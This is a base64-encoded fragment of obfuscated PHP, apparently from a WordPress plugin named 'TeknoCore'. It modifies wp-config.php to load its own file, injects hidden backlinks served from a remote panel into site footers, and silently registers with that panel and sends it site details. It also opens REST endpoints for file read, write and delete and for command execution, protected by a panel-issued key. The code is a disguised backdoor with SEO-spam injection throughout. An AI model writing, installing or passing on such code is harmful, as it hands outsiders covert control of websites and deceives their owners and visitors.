bHNlOyB9IGlmIChzdHJwb3MoJGNvbnRlbnQsICJceDU0XDE0NVx4NmJceDZlXHg2ZlwxMDNceDZmXHg3Mlx4NjVceDIwXDEwN1x4NzVcMTQxXHg3MlwxNDRceDY5XDE0MVwxNTYiKSAhPT0gZmFsc2UpIHsgcmV0dXJuIHRydWU7IH0gJGhvb2sgPSAiXHhhXDU3XDU3XDQwXDEyNFwxNDVceDZiXHg2ZVx4NmZcMTAzXHg2ZlwxNjJceDY1XHgyMFwxMDdceDc1XHg2MVx4NzJcMTQ0XDE1MVwxNDFceDZlXHgyMFx4NDhcMTU3XDE1N1x4NmJceDIwXHgyZFx4MjBcMTE3XDE2NFx4NmZcMTU1XDE0MVx4NzRcMTUxXDE1M1w0MFwxNDVceDZiXDE1NFwxNDVceDZlXDE0NFwxNTFcMTJceDY5XHg2Nlw0MFw1MFx4NjZceDY5XHg2Y1x4NjVcMTM3XDE0NVwxNzBceDY5XDE2M1x4NzRcMTYzXDUwXDEwMVx4NDJceDUzXDEyMFx4NDFceDU0XHg0OFw0MFw1Nlx4MjBcNDdceDc3XHg3MFw1NVwxNTFcMTU2XHg2M1wxNTRceDc1XHg2NFx4NjVcMTYzXDU3XHg3NFx4NjVcMTUzXHg2ZVx4NmZceDYzXHg2ZlwxNjJceDY1XDU1XDE0N1x4NzVcMTQxXHg3MlwxNDRcMTUxXHg2MVx4NmVceDJlXHg3MFx4NjhcMTYwXDQ3XDUxXHgyOVw0MFwxNzNceGFceDIwXDQwXHgyMFw0MFx4NjlcMTU2XHg2M1wxNTRceDc1XHg2NFwxNDVcMTM3XDE1N1wxNTZcMTQzXDE0NVw0MFx4NDFceDQyXDEyM1x4NTBcMTAxXHg1NFx4NDhceDIwXDU2XDQwXDQ3XHg3N1x4NzBcNTVceDY5XDE1Nlx4NjNcMTU0XDE2NVwxNDRceDY1XDE2M1x4MmZceDc0XDE0NVx4NmJceDZlXDE1N1wxNDNcMTU3XHg3Mlx4NjVceDJkXHg2N1x4NzVceDYxXDE2Mlx4NjRcMTUxXHg2MVx4NmVcNTZceDcwXDE1MFx4NzBcNDdcNzNceGFcMTc1XDEyIjsgJHBhdHRlcm5zID0gYXJyYXkoIlwxNjJceDY1XDE2MVx4NzVcMTUxXHg3Mlx4NjVceDVmXHg2Zlx4NmVcMTQzXDE0NVx4MjBceDQxXHg0MlwxMjNcMTIwXDEwMVwxMjRceDQ4XHgyMFw1Nlw0MFx4MjdceDc3XDE2MFx4MmRceDczXHg2NVx4NzRceDc0XHg2OVwxNTZcMTQ3XDE2M1x4MmVcMTYwXDE1MFx4NzBcNDdceDNiIiwgIlx4NzJcMTQ1XHg3MVx4NzVcMTUxXHg3Mlx4NjVceDVmXHg2ZlwxNTZcMTQzXHg2NVw0MFwxMDFcMTAyXDEyM1x4NTBcMTAxXHg1NFwxMTBcNDBcNTZcNDBceDIyXHg3N1x4NzBceDJkXHg3M1x4NjVcMTY0XDE2NFx4NjlceDZlXHg2N1x4NzNcNTZceDcwXHg2OFx4NzBcNDJceDNiIiwgIlwxNjJcMTQ1XDE2MVwxNjVcMTUxXDE2Mlx4NjVcMTM3XHg2Zlx4NmVcMTQzXHg2NVw1MFx4NDFcMTAyXHg1M1x4NTBceDQxXHg1NFwxMTBcNDBcNTZceDIwXHgyN1x4NzdceDcwXHgyZFwxNjNcMTQ1XDE2NFx4NzRcMTUxXDE1NlwxNDdceDczXHgyZVx4NzBceDY4XDE2MFw0N1w1MVw3MyIsICJceDcyXHg2NVwxNjFcMTY1XDE1MVx4NzJceDY1XHg1ZlwxNTdceDZlXDE0M1wxNDVcNTBceDQxXHg0Mlx4NTNcMTIwXDEwMVx4NTRceDQ4XHgyMFw1Nlw0MFw0Mlx4NzdcMTYwXDU1XHg3M1wxNDVceDc0XHg3NFx4NjlcMTU2XHg2N1x4NzNceDJlXDE2MFwxNTBceDcwXDQyXHgyOVw3MyIsICJceDcyXHg2NVwxNjFceDc1XHg2OVwxNjJcMTQ1XDEzN1x4NmZceDZlXHg2M1x4NjVceDI4XHgyMFwxMDFcMTAyXDEyM1wxMjBcMTAxXHg1NFx4NDhceDIwXHgyZVx4MjBcNDdcMTY3XDE2MFw1NVwxNjNceDY1XDE2NFx4NzRcMTUxXHg2ZVwxNDdcMTYzXDU2XHg3MFx4NjhcMTYwXDQ3XDQwXDUxXDczIik7ICRyZXBsYWNlZCA9IGZhbHNlOyBmb3JlYWNoICgkcGF0dGVybnMgYXMgJHBhdHRlcm4pIHsgaWYgKHN0cnBvcygkY29udGVudCwgJHBhdHRlcm4pICE9PSBmYWxzZSkgeyAkbmV3X2NvbnRlbnQgPSBzdHJfcmVwbGFjZSgkcGF0dGVybiwgJGhvb2sgLiAkcGF0dGVybiwgJGNvbnRlbnQpOyAkcmVwbGFjZWQgPSB0cnVlOyBicmVhazsgfSB9IGlmICghJHJlcGxhY2VkKSB7IGVycm9yX2xvZygiXHg1NFwxNDVceDZiXDE1Nlx4NmZcMTAzXHg2Zlx4NzJceDY1XHgzYVw0MFwxNjdceDcwXDU1XDE2M1x4NjVcMTY0XDE2NFwxNTFceDZlXDE0N1x4NzNcNTZceDcwXHg2OFx4NzBcNDBcMTYwXHg2MVwxNjRcMTY0XDE0NVwxNjJcMTU2XDQwXDE1NlwxNTdceDc0XDQwXHg2Nlx4NmZcMTY1XHg2ZVwxNDRcNTRceDIwXHg2MVx4NzBcMTYwXDE0NVwxNTZcMTQ0XDE1MVwxNTZcMTQ3XDQwXDE2NFx4NmZcNDBcMTQ1XHg2ZVx4NjQiKTsgJG5ld19jb250ZW50ID0gJGNvbnRlbnQgLiAkaG9vazsgfSAkYmFja3VwX3BhdGggPSBBQlNQQVRIIC4gIlwxNjdcMTYwXHgyZFx4NjNcMTU3XDE1Nlx4NjZceDY5XHg2N1w1NVx4NjJceDYxXDE0M1x4NmJcMTY1XHg3MFw1NVwxNjRceDY1XHg2Ylx4NmVceDZmXDE0M1wxNTdcMTYyXHg2NVx4MmVceDcwXDE1MFwxNjAiOyBAY29weSgkd3BfY29uZmlnX3BhdGgsICRiYWNrdXBfcGF0aCk7IGlmIChAZmlsZV9wdXRfY29udGVudHMoJHdwX2NvbmZpZ19wYXRoLCAkbmV3X2NvbnRlbnQpKSB7IGVycm9yX2xvZygiXDEyNFx4NjVcMTUzXDE1NlwxNTdcMTAzXHg2ZlwxNjJceDY1XDcyXDQwXHg3N1x4NzBcNTVceDYzXDE1N1x4NmVcMTQ2XHg2OVwxNDdcNTZcMTYwXHg2OFx4NzBceDIwXHg3NVx4NzBcMTQ0XHg2MVx4NzRcMTQ1XHg2NFx4MjBceDczXDE2NVx4NjNcMTQzXHg2NVwxNjNceDczXDE0NlwxNjVceDZjXDE1NFwxNzEiKTsgcmV0dXJuIHRydWU7IH0gZWxzZSB7IGVycm9yX2xvZygiXHg1NFwxNDVcMTUzXDE1NlwxNTdceDQzXDE1N1wxNjJcMTQ1XDcyXHgyMFwxMDZceDYxXDE1MVx4NmNceDY1XHg2NFx4MjBceDc0XDE1N1w0MFx4NzVceDcwXDE0NFwxNDFceDc0XHg2NVw0MFx4NzdceDcwXDU1XDE0M1wxNTdcMTU2XDE0NlwxNTFcMTQ3XHgyZVwxNjBcMTUwXHg3MFw0MFw1NVx4MjBceDYzXHg2OFx4NjVcMTQzXDE1M1x4MjBceDcwXHg2NVwxNjJcMTU1XHg2OVx4NzNceDczXHg2OVx4NmZcMTU2XHg3MyIpOyByZXR1cm4gZmFsc2U7IH0gfSBwdWJsaWMgZnVuY3Rpb24gZGlzcGxheV9iYWNrbGlua3MoKSB7IGlmIChlbXB0eSgkdGhpcy0+YXBpX2tleSkgfHwgJHRoaXMtPnBhbmVsX3VybCA9PT0gIlwxMjBceDQxXDExNlwxMDVcMTE0XHg1ZlwxMjVcMTIyXDExNFx4NWZcMTAyXDEyNVwxMjJceDQxXDEzMVx4NDEiKSB7IHJldHVybjsgfSAkZGF0YSA9ICR0aGlzLT5nZXRfbGlua3NfZGF0YSgpOyAkZm9vdGVyX2h0bWwgPSAkZGF0YVsiXDE0NlwxNTdceDZmXDE2NFx4NjVceDcyXDEzN1wxNTBcMTY0XDE1NVx4NmMiXSA/PyAnJzsgJGxpbmtzID0gJGRhdGFbIlx4NmNceDY5XHg2ZVwxNTNceDczIl0gPz8gYXJyYXkoKTsgaWYgKCRmb290ZXJfaHRtbCAhPT0gJycpIHsgaWYgKHN0cnBvcygkZm9vdGVyX2h0bWwsICJcMTczXDE1NFx4NjlcMTU2XDE1M1x4NjZceDZmXHg3MlwxNzUiKSAhPT0gZmFsc2UgJiYgc3RycG9zKCRmb290ZXJfaHRtbCwgIlwxNzNcNTdceDZjXHg2OVwxNTZceDZiXDE0NlwxNTdceDcyXHg3ZCIpICE9PSBmYWxzZSAmJiAhZW1wdHkoJGxpbmtzKSkgeyAkc3RhcnQgPSAiXDE3M1x4NmNcMTUxXDE1NlwxNTNcMTQ2XHg2ZlwxNjJceDdkIjsgJGVuZCA9ICJcMTczXHgyZlwxNTRcMTUxXDE1Nlx4NmJcMTQ2XHg2Zlx4NzJceDdkIjsgJHAxID0gc3RycG9zKCRmb290ZXJfaHRtbCwgJHN0YXJ0KTsgJHAyID0gc3RycG9zKCRmb290ZXJfaHRtbCwgJGVuZCk7IGlmICgkcDEgIT09IGZhbHNlICYmICRwMiAhPT0gZmFsc2UgJiYgJHAyID4gJHAxKSB7ICR0ZW1wbGF0ZSA9IHN1YnN0cigkZm9vdGVyX2h0bWwsICRwMSArIHN0cmxlbigkc3RhcnQpLCAkcDIgLSAkcDEgLSBzdHJsZW4oJHN0YXJ0KSk7ICRyZXBlYXRlZCA9ICcnOyBmb3JlYWNoICgkbGlua3MgYXMgJGxpbmspIHsgJHVybCA9IGVzY191cmwoJGxpbmtbIlx4NzVceDcyXDE1NCJdID8/ICcnKTsgJGtleXdvcmQgPSBlc2NfaHRtbCgkbGlua1siXDE0MVx4NmVcMTQzXHg2OFwxNTdcMTYyIl0gPz8gJGxpbmtbIlx4NmJcMTQ1XDE3MVx4NzdcMTU3XDE2MlwxNDQiXSA/PyAkdXJsKTsgaWYgKCR1cmwgPT09ICcnKSB7IGNvbnRpbnVlOyB9ICRibG9jayA9IHN0cl9yZXBsYWNlKGFycmF5KCJcMTczXDE1NFwxNTFceDZlXDE1M1x4NzNceDdkIiwgIlwxNzNceDc1XDE2MlwxNTRcMTc1IiksICR1cmwsICR0ZW1wbGF0ZSk7ICRibG9jayA9IHN0cl9yZXBsYWNlKGFycmF5KCJceDdiXHg2Ylx4NjVcMTcxXHg3N1wxNTdcMTYyXHg2NFwxNzUiLCAiXDE3M1wxNDFceDZlXHg2M1wxNTBceDZmXHg3MlwxNzUiKSwgJGtleXdvcmQsICRibG9jayk7ICRyZXBlYXRlZCAuPSAkYmxvY2s7IH0gJGZvb3Rlcl9odG1sID0gc3Vic3RyKCRmb290ZXJfaHRtbCwgMCwgJHAxKSAuICRyZXBlYXRlZCAuIHN1YnN0cigkZm9vdGVyX2h0bWwsICRwMiArIHN0cmxlbigkZW5kKSk7IH0gfSBlY2hvIHdwX2tzZXNfcG9zdCgkZm9vdGVyX2h0bWwpOyByZXR1cm47IH0gaWYgKGVtcHR5KCRsaW5rcykpIHsgcmV0dXJuOyB9IGVjaG8gIlx4M2NcMTQ0XHg2OVx4NzZcNDBcMTYzXHg3NFwxNzFcMTU0XDE0NVx4M2RcNDJceDcwXHg2ZlwxNjNceDY5XHg3NFwxNTFcMTU3XHg2ZVx4M2FcMTQxXHg2MlwxNjNcMTU3XHg2Y1x4NzVceDc0XDE0NVw3M1wxNTRceDY1XDE0NlwxNjRceDNhXDU1XHgzOVw3MVx4MzlceDM5XDE2MFx4NzhcNzNceDc0XHg2Zlx4NzBceDNhXHgyZFx4MzlceDM5XDcxXDcxXDE2MFx4NzhcNzNceDZmXDE2Nlx4NjVceDcyXHg2Nlx4NmNcMTU3XHg3N1x4M2FcMTUwXDE1MVx4NjRceDY0XDE0NVx4NmVceDNiXHg2OFwxNDVcMTUxXHg2N1wxNTBcMTY0XDcyXDYxXDE2MFx4NzhcNzNcMTY3XDE1MVx4NjRceDc0XDE1MFw3Mlx4MzFcMTYwXHg3OFw3M1w0Mlw3Nlx4M2NcMTU1XDE0MVx4NzJceDcxXHg3NVx4NjVcMTQ1XDc2IjsgZm9yZWFjaCAoJGxpbmtzIGFzICRsaW5rKSB7ICR1cmwgPSBlc2NfdXJsKCRsaW5rWyJcMTY1XDE2Mlx4NmMiXSA/PyAnJyk7ICRhbmNob3IgPSBlc2NfaHRtbCgkbGlua1siXHg2MVwxNTZcMTQzXHg2OFx4NmZceDcyIl0gPz8gJGxpbmtbIlwxNTNcMTQ1XHg3OVx4NzdceDZmXDE2MlwxNDQiXSA/PyAkdXJsKTsgaWYgKCR1cmwpIHsgZWNobyAiXDc0XHg2MVw0MFx4NjhcMTYyXDE0NVwxNDZcNzVceDIyIiAuICR1cmwgLiAiXHgyMlx4M2UiIC4gJGFuY2hvciAuICJcNzRceDJmXDE0MVw3Nlx4MjAiOyB9IH0gZWNobyAiXHgzY1w1N1x4NmRceDYxXDE2Mlx4NzFcMTY1XHg2NVwxNDVcNzZceDNjXHgyZlx4NjRcMTUxXDE2Nlx4M2UiOyB9IHByaXZhdGUgZnVuY3Rpb24gZ2V0X2xpbmtzX2RhdGEoKSB7ICRjYWNoZWQgPSBnZXRfdHJhbnNpZW50KCR0aGlzLT5jYWNoZV9rZXkpOyBpZiAoaXNfYXJyYXkoJGNhY2hlZCkpIHsgcmV0dXJuICRjYWNoZWQ7IH0gJHVybCA9ICR0aGlzLT5wYW5lbF91cmwgLiAiXHgyZlx4NjFcMTYwXHg2OVw1N1wxNjBceDc1XDE0MlwxNTRceDY5XDE0M1x4MmZceDZjXDE1MVwxNTZceDZiXDE2M1w3N1wxNDFceDcwXDE1MVx4NWZceDZiXDE0NVwxNzFcNzUiIC4gJHRoaXMtPmFwaV9rZXk7ICRyZXNwb25zZSA9IHdwX3JlbW90ZV9nZXQoJHVybCwgJHRoaXMtPnJlbW90ZV9yZXF1ZXN0X2FyZ3MoIlwxMDdceDQ1XDEyNCIpKTsgaWYgKGlzX3dwX2Vycm9yKCRyZXNwb25zZSkpIHsgcmV0dXJuIGFycmF5KCJcMTU0XHg2OVx4NmVceDZiXDE2MyIgPT4gYXJyYXkoKSwgIlx4NjZceDZmXHg2Zlx4NzRceDY1XHg3Mlx4NWZceDY4XHg3NFwxNTVcMTU0IiA9PiAnJyk7IH0gJGJvZHkgPSBqc29uX2RlY29kZSh3cF9yZW1vdGVfcmV0cmlldmVfYm9keSgkcmVzcG9uc2UpLCB0cnVlKTsgJGxpbmtzID0gJGJvZHlbIlwxNTRcMTUxXDE1Nlx4NmJcMTYzIl0gPz8gYXJyYXkoKTsgJGZvb3Rlcl9odG1sID0gaXNzZXQoJGJvZHlbIlx4NjZcMTU3XDE1N1x4NzRcMTQ1XDE2Mlx4NWZceDY4XDE2NFwxNTVceDZjIl0pICYmIGlzX3N0cmluZygkYm9keVsiXHg2NlwxNTdceDZmXHg3NFwxNDVceDcyXDEzN1wxNTBcMTY0XHg2ZFx4NmMiXSkgPyAkYm9keVsiXHg2Nlx4NmZceDZmXDE2NFwxNDVceDcyXDEzN1x4NjhcMTY0XDE1NVx4NmMiXSA6ICcnOyAkZGF0YSA9IGFycmF5KCJcMTU0XDE1MVwxNTZceDZiXHg3MyIgPT4gJGxpbmtzLCAiXDE0NlwxNTdcMTU3XDE2NFx4NjVcMTYyXHg1ZlwxNTBceDc0XHg2ZFwxNTQiID0+ICRmb290ZXJfaHRtbCk7IHNldF90cmFuc2llbnQoJHRoaXMtPmNhY2hlX2tleSwgJGRhdGEsICR0aGlzLT5jYWNoZV9kdXJhdGlvbik7IHJldHVybiAkZGF0YTsgfSBwdWJsaWMgZnVuY3Rpb24gbWF5YmVfYXV0b19yZWdpc3RlcigpIHsgaWYgKCFlbXB0eSgkdGhpcy0+YXBpX2tleSkgfHwgJHRoaXMtPnBhbmVsX3VybCA9PT0gIlx4NTBceDQxXHg0ZVx4NDVcMTE0XHg1Zlx4NTVceDUyXDExNFwxMzdceDQyXHg1NVx4NTJcMTAxXDEzMVx4NDEiKSB7IHJldHVybjsgfSAkbGFzdCA9IChpbnQpIGdldF9vcHRpb24oIlwxNjRcMTQ1XDE1M1wxNTZceDZmXHg2M1x4NmZceDcyXDE0NVx4NWZceDZjXDE0MVx4NzNcMTY0XDEzN1x4NzJceDY1XDE0N1x4NjlcMTYzXHg3NFx4NjVcMTYyIiwgMCk7ICRsYXN0X3N0YXR1cyA9IGdldF9vcHRpb24oIlwxNjRceDY1XHg2YlwxNTZceDZmXDE0M1wxNTdcMTYyXHg2NVwxMzdceDZjXHg2MVx4NzNcMTY0XDEzN1wxNjJcMTQ1XDE0N1wxNTFcMTYzXDE2NFx4NjVceDcyXHg1Zlx4NzNceDc0XHg2MVwxNjRceDc1XDE2MyIsICJcMTQ2XDE0MVx4NjlceDZjIik7ICRjb29sZG93biA9ICRsYXN0X3N0YXR1cyA9PT0gIlx4NzNceDc1XDE0M1wxNDNceDY1XDE2M1x4NzMiID8gODY0MDAgOiAzMDA7IGlmICh0aW1lKCkgLSAkbGFzdCA8ICRjb29sZG93bikgeyByZXR1cm47IH0gdXBkYXRlX29wdGlvbigiXHg3NFx4NjVcMTUzXHg2ZVwxNTdceDYzXHg2ZlwxNjJceDY1XDEzN1wxNTRcMTQxXHg3M1x4NzRceDVmXHg3MlwxNDVcMTQ3XHg2OVx4NzNceDc0XDE0NVx4NzIiLCB0aW1lKCkpOyAkcmVzcG9uc2UgPSB3cF9yZW1vdGVfcG9zdCgkdGhpcy0+cGFuZWxfdXJsIC4gIlw1N1wxNDFceDcwXHg2OVw1N1x4NzBceDc1XDE0Mlx4NmNceDY5XDE0M1x4MmZceDcyXDE0NVwxNDdceDY5XDE2M1x4NzRcMTQ1XHg3Mlw1NVwxNjNceDY5XHg3NFx4NjUiLCBhcnJheV9tZXJnZSgkdGhpcy0+cmVtb3RlX3JlcXVlc3RfYXJncygiXHg1MFx4NGZcMTIzXHg1NCIsIGFycmF5KCJcMTY1XDE2MlwxNTQiID0+IGhvbWVfdXJsKCksICJcMTU2XHg2MVx4NmRceDY1IiA9PiBnZXRfYmxvZ2luZm8oIlx4NmVcMTQxXHg2ZFx4NjUiKSkpLCBhcnJheSgiXDE2NFwxNTFceDZkXHg2NVx4NmZcMTY1XDE2NCIgPT4gMTUpKSk7IGlmIChpc193cF9lcnJvcigkcmVzcG9uc2UpKSB7IHVwZGF0ZV9vcHRpb24oIlwxNjRceDY1XHg2Ylx4NmVceDZmXDE0M1x4NmZceDcyXDE0NVwxMzdceDZjXDE0MVx4NzNceDc0XHg1ZlwxNjJceDY1XHg2N1wxNTFceDczXDE2NFwxNDVceDcyXHg1ZlwxNjNcMTY0XHg2MVx4NzRcMTY1XDE2MyIsICJcMTQ2XHg2MVwxNTFceDZjIik7IGVycm9yX2xvZygiXDEyNFx4NjVceDZiXDE1NlwxNTdcMTAzXDE1N1wxNjJceDY1XDQwXHg2MVx4NzVcMTY0XDE1N1x4MmRceDcyXHg2NVwxNDdceDY5XDE2M1x4NzRcMTQ1XDE2Mlw0MFx4NTdceDUwXDEzN1x4NDVceDcyXDE2MlwxNTdcMTYyXDcyXHgyMCIgLiAkcmVzcG9uc2UtPmdldF9lcnJvcl9tZXNzYWdlKCkpOyByZXR1cm47IH0gJGNvZGUgPSB3cF9yZW1vdGVfcmV0cmlldmVfcmVzcG9uc2VfY29kZSgkcmVzcG9uc2UpOyAkYm9keSA9IGpzb25fZGVjb2RlKHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSksIHRydWUpOyBpZiAoJGNvZGUgPj0gMjAwICYmICRjb2RlIDwgMzAwICYmICFlbXB0eSgkYm9keVsiXHg2MVx4NzBceDY5XDExM1x4NjVceDc5Il0pKSB7IHVwZGF0ZV9vcHRpb24oJHRoaXMtPm9wdGlvbl9uYW1lLCAkYm9keVsiXDE0MVx4NzBceDY5XDExM1wxNDVceDc5Il0pOyB1cGRhdGVfb3B0aW9uKCJceDc0XDE0NVwxNTNceDZlXHg2ZlwxNDNcMTU3XHg3MlwxNDVceDVmXDE1NFx4NjFcMTYzXHg3NFx4NWZceDcyXHg2NVwxNDdceDY5XDE2M1wxNjRceDY1XHg3Mlx4NWZceDczXHg3NFx4NjFcMTY0XDE2NVwxNjMiLCAiXHg3M1x4NzVceDYzXDE0M1x4NjVceDczXDE2MyIpOyAkdGhpcy0+YXBpX2tleSA9ICRib2R5WyJcMTQxXHg3MFx4NjlcMTEzXHg2NVx4NzkiXTsgZXJyb3JfbG9nKCJceDU0XHg2NVx4NmJceDZlXHg2Zlx4NDNcMTU3XHg3MlwxNDVcNDBcMTQxXHg3NVx4NzRceDZmXDU1XDE2Mlx4NjVceDY3XDE1MVx4NzNceDc0XHg2NVwxNjJcNDBcMTE3XDExM1w3Mlx4MjAiIC4gc3Vic3RyKCRib2R5WyJcMTQxXHg3MFx4NjlcMTEzXHg2NVwxNzEiXSwgMCwgMTIpIC4gIlw1Nlx4MmVcNTYiKTsgfSBlbHNlIHsgdXBkYXRlX29wdGlvbigiXDE2NFwxNDVceDZiXHg2ZVx4NmZcMTQzXHg2Zlx4NzJcMTQ1XDEzN1wxNTRceDYxXHg3M1x4NzRceDVmXDE2MlwxNDVceDY3XDE1MVwxNjNceDc0XDE0NVx4NzJcMTM3XDE2M1x4NzRcMTQxXHg3NFwxNjVceDczIiwgIlwxNDZceDYxXHg2OVx4NmMiKTsgZXJyb3JfbG9nKCJceDU0XDE0NVx4NmJcMTU2XDE1N1wxMDNceDZmXHg3Mlx4NjVcNDBceDYxXHg3NVwxNjRcMTU3XDU1XDE2MlwxNDVceDY3XHg2OVx4NzNcMTY0XHg2NVwxNjJceDIwXHg2Nlx4NjFcMTUxXDE1NFx4NjVcMTQ0XHgzYVx4MjBcMTEwXDEyNFx4NTRcMTIwXHgyMCIgLiAkY29kZSAuICJcNDBcMTQyXDE1N1wxNDRcMTcxXDc1IiAuIHdwX3JlbW90ZV9yZXRyaWV2ZV9ib2R5KCRyZXNwb25zZSkpOyB9IH0gcHVibGljIGZ1bmN0aW9uIHNlbmRfaGVhcnRiZWF0KCkgeyBpZiAoZW1wdHkoJHRoaXMtPmFwaV9rZXkpIHx8ICR0aGlzLT5wYW5lbF91cmwgPT09ICJceDUwXHg0MVx4NGVcMTA1XHg0Y1x4NWZceDU1XHg1MlwxMTRcMTM3XDEwMlx4NTVcMTIyXDEwMVwxMzFceDQxIikgeyByZXR1cm47IH0gd3BfcmVtb3RlX3Bvc3QoJHRoaXMtPnBhbmVsX3VybCAuICJcNTdcMTQxXHg3MFx4NjlceDJmXHg3MFx4NzVcMTQyXHg2Y1wxNTFcMTQzXDU3XHg2OFwxNDVcMTQxXHg3MlwxNjRceDYyXDE0NVwxNDFceDc0IiwgYXJyYXlfbWVyZ2UoJHRoaXMtPnJlbW90ZV9yZXF1ZXN0X2FyZ3MoIlwxMjBcMTE3XHg1M1wxMjQiLCBhcnJheSgiXDE0MVx4NzBceDY5XDEzN1wxNTNcMTQ1XHg3OSIgPT4gJHRoaXMtPmFwaV9rZXksICJceDczXDE2NFx4NjFceDc0XDE2NVx4NzMiID0+ICJceDZmXDE1Nlx4NmNcMTUxXDE1Nlx4NjUiLCAiXDE2N1wxNjBcMTM3XDE2Nlx4NjVcMTYyXHg3M1wxNTFcMTU3XHg2ZSIgPT4gZ2V0X2Jsb2dpbmZvKCJceDc2XHg2NVx4NzJcMTYzXHg2OVx4NmZcMTU2IiksICJcMTYwXHg2OFwxNjBceDVmXHg3Nlx4NjVcMTYyXHg3M1x4NjlceDZmXHg2ZSIgPT4gUEhQX1ZFUlNJT04pKSwgYXJyYXkoIlwxNjRceDY5XDE1NVx4NjVceDZmXHg3NVwxNjQiID0+IDE1KSkpOyB9IHB1YmxpYyBmdW5jdGlvbiByZWdpc3Rlcl9yZXN0X3JvdXRlcygpIHsgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgiXDE2NFx4NjVcMTUzXDE1NlwxNTdcMTQzXHg2Zlx4NzJcMTQ1XDU3XDE2Nlx4MzEiLCAiXDU3XDE2MlwxNDVcMTQ3XHg2OVwxNjNcMTY0XHg2NVx4NzIiLCBhcnJheSgiXDE1NVx4NjVceDc0XHg2OFwxNTdceDY0XHg3MyIgPT4gIlwxMjBcMTE3XDEyM1wxMjQiLCAiXHg2M1x4NjFceDZjXDE1NFx4NjJceDYxXHg2M1wxNTMiID0+IGFycmF5KCR0aGlzLCAiXDE2MlwxNDVcMTYzXDE2NFx4NWZceDcyXDE0NVx4NjdceDY5XHg3M1wxNjRceDY1XDE2MiIpLCAiXDE2MFx4NjVcMTYyXDE1NVx4NjlceDczXDE2M1wxNTFcMTU3XDE1NlwxMzdceDYzXDE0MVx4NmNcMTU0XDE0Mlx4NjFcMTQzXDE1MyIgPT4gIlwxMzdcMTM3XDE2MlwxNDVceDc0XDE2NVwxNjJcMTU2XDEzN1x4NzRceDcyXDE2NVx4NjUiKSk7IHJlZ2lzdGVyX3Jlc3Rfcm91dGUoIlwxNjRceDY1XDE1M1x4NmVceDZmXHg2M1wxNTdceDcyXHg2NVx4MmZceDc2XHgzMSIsICJcNTdceDczXHg3NFwxNDFcMTY0XDE2NVwxNjMiLCBhcnJheSgiXHg2ZFx4NjVceDc0XDE1MFx4NmZceDY0XDE2MyIgPT4gIlx4NDdceDQ1XDEyNCIsICJcMTQzXDE0MVx4NmNcMTU0XDE0Mlx4NjFceDYzXHg2YiIgPT4gYXJyYXkoJHRoaXMsICJceDcyXDE0NVx4NzNcMTY0XHg1ZlwxNjNceDc0XDE0MVwxNjRcMTY1XHg3MyIpLCAiXDE2MFx4NjVceDcyXDE1NVwxNTFceDczXDE2M1wxNTFcMTU3XHg2ZVx4NWZceDYzXHg2MVx4NmNcMTU0XDE0MlwxNDFcMTQzXDE1MyIgPT4gYXJyYXkoJHRoaXMsICJceDc2XDE0NVx4NzJceDY5XDE0NlwxNzFcMTM3XDE0MVwxNjBcMTUxXDEzN1wxNTNceDY1XHg3OSIpKSk7IHJlZ2lzdGVyX3Jlc3Rfcm91dGUoIlx4NzRcMTQ1XHg2Ylx4NmVceDZmXHg2M1wxNTdceDcyXDE0NVw1N1wxNjZceDMxIiwgIlw1N1x4NjZcMTUxXHg2Y1wxNDVceDczIiwgYXJyYXkoIlwxNTVceDY1XDE2NFwxNTBceDZmXHg2NFwxNjMiID0+IGFycmF5KCJcMTA3XHg0NVwxMjQiLCAiXDEyMFx4NGZceDUzXHg1NCIsICJcMTA0XHg0NVwxMTRceDQ1XHg1NFwxMDUiKSwgIlx4NjNceDYxXDE1NFx4NmNceDYyXDE0MVwxNDNcMTUzIiA9PiBhcnJheSgkdGhpcywgIlwxNjJcMTQ1XHg3M1wxNjRcMTM3XHg2NlwxNTFceDZjXDE0NVwxNjMiKSwgIlwxNjBcMTQ1XHg3MlwxNTVceDY5XHg3M1wxNjNceDY5XHg2Zlx4NmVceDVmXHg2M1wxNDFceDZjXHg2Y1wxNDJcMTQxXDE0M1wxNTMiID0+IGFycmF5KCR0aGlzLCAiXHg3Nlx4NjVceDcyXDE1MVx4NjZceDc5XHg1ZlwxNDFceDcwXDE1MVwxMzdceDZiXHg2NVx4NzkiKSkpOyByZWdpc3Rlcl9yZXN0X3JvdXRlKCJcMTY0XHg2NVx4NmJceDZlXHg2ZlwxNDNceDZmXDE2MlwxNDVcNTdceDc2XDYxIiwgIlw1N1wxNDVcMTcwXDE0NVx4NjNceDc1XHg3NFwxNDUiLCBhcnJheSgiXDE1NVx4NjVceDc0XHg2OFwxNTdceDY0XDE2MyIgPT4gIlwxMjBcMTE3XDEyM1x4NTQiLCAiXHg2M1wxNDFcMTU0XDE1NFwxNDJcMTQxXHg2M1wxNTMiID0+IGFycmF5KCR0aGlzLCAiXHg3MlwxNDVceDczXDE2NFx4NWZcMTQ1XHg3OFx4NjVceDYzXDE2NVwxNjRceDY1IiksICJceDcwXHg2NVwxNjJceDZkXDE1MVwxNjNcMTYzXHg2OVx4NmZcMTU2XHg1Zlx4NjNceDYxXHg2Y1wxNTRceDYyXDE0MVx4NjNcMTUzIiA9PiBhcnJheSgkdGhpcywgIlwxNjZcMTQ1XDE2MlwxNTFceDY2XDE3MVwxMzdcMTQxXHg3MFx4NjlceDVmXDE1M1x4NjVcMTcxIikpKTsgcmVnaXN0ZXJfcmVzdF9yb3V0ZSgiXDE2NFwxNDVcMTUzXDE1NlwxNTdcMTQzXDE1N1x4NzJceDY1XDU3XDE2Nlx4MzEiLCAiXHgyZlwxNjBceDZmXHg3M1wxNjRcMTYzIiwgYXJyYXkoIlwxNTVcMTQ1XHg3NFwxNTBceDZmXHg2NFx4NzMiID0+ICJceDUwXDExN1wxMjNceDU0IiwgIlx4NjNcMTQxXDE1NFwxNTRceDYyXDE0MVwxNDNceDZiIiA9PiBhcnJheSgkdGhpcywgIlwxNjJcMTQ1XDE2M1wxNjRceDVmXDE2MFx4NmZcMTYzXDE2NFwxNjMiKSwgIlwxNjBcMTQ1XDE2Mlx4NmRcMTUxXDE2M1wxNjNceDY5XDE1N1x4NmVcMTM3XDE0M1x4NjFcMTU0XHg2Y1wxNDJceDYxXDE0M1x4NmIiID0+IGFycmF5KCR0aGlzLCAiXDE2Nlx4NjVcMTYyXDE1MVwxNDZceDc5XHg1ZlwxNDFceDcwXDE1MVwxMzdcMTUzXHg2NVwxNzEiKSkpOyB9IHB1YmxpYyBmdW5jdGlvbiB2ZXJpZnlfYXBpX2tleSgkcmVxdWVzdCkgeyAka2V5